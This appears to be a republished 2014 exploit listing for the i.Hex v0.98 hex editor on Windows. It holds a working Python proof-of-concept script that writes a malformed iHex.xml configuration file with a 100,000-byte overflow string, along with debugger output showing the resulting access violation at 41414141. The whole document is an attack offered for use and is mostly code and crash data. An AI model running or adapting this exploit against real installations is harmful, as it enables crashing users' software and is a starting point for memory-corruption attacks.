i.Hex Local Crash Proof of Concept Exploit

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i.Hex Local Crash Proof of Concept Exploit

来源：twitter.com/m3tac0m 作者：metacom 发布时间：2014-11-11

#Exploit Title:i.Hex Local Crash Poc

#Homepage:http://www.memecode.com/ihex.php

#Software Link:www.memecode.com/data/ihex-win32-v0.98.exe

#Version:i.Hex-v0.98 (Win32 Release)

#Description:i.Hex is a small and free graphical Hex Editor for Windows..

#Tested on:Win7 32bit

#Exploit Author:metacom --> twitter.com/m3tac0m

#Date:05.11.2014

'''

Immunity Debugger Log data

EAX 0135B8F8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ECX 41414141

EDX 41414141

EBX 01363FA0

ESP 0012F6D8

EBP 0012F700

ESI 0135B8F0

EDI 005F0000

EIP 77B85FBD ntdll.77B85FBD

Press Shift+9

Log data, item 0

Address=77B85B44

Message=[15:56:05] Access violation when reading [41414141]

'''

print "\n[*]Vulnerable Created iHex.xml!"

print "[*]Copy iHex.xml to C:\Program Files\Memecode\i.Hex"

print "[*]Start i.Hex"

print "[*]------------------------------------------------"

poc="\x41" * 100000

header =

"\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"

header +=

"\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x4f\x70\x74\x69\x6f\x6e\x73\x20\x49\x73\x48\x65\x78\x3d\x22\x31\x22\x0a\x09"

header += "\x20\x4c\x69\x74\x74\x6c\x65\x45\x6e\x64\x69\x61\x6e\x3d\x22\x0a" + poc

footer =

"\x22\x0a\x09\x20\x50\x6f\x73\x3d\x22\x31\x30\x30\x2c\x31\x30\x30\x2c\x35\x30\x30\x2c\x34\x30\x30\x22\x3e\x0a\x09\x3c\x4d"

footer +=

"\x72\x75\x20\x49\x74\x65\x6d\x73\x3d\x22\x30\x22\x0a\x09\x09\x20\x49\x74\x65\x6d\x30\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f"

footer += "\x4f\x70\x74\x69\x6f\x6e\x73\x3e\x0a"

payload= header + footer

# Write out our malicious file

writeFile = open ("iHex.xml", "wb")

writeFile.write( payload )

writeFile.close()

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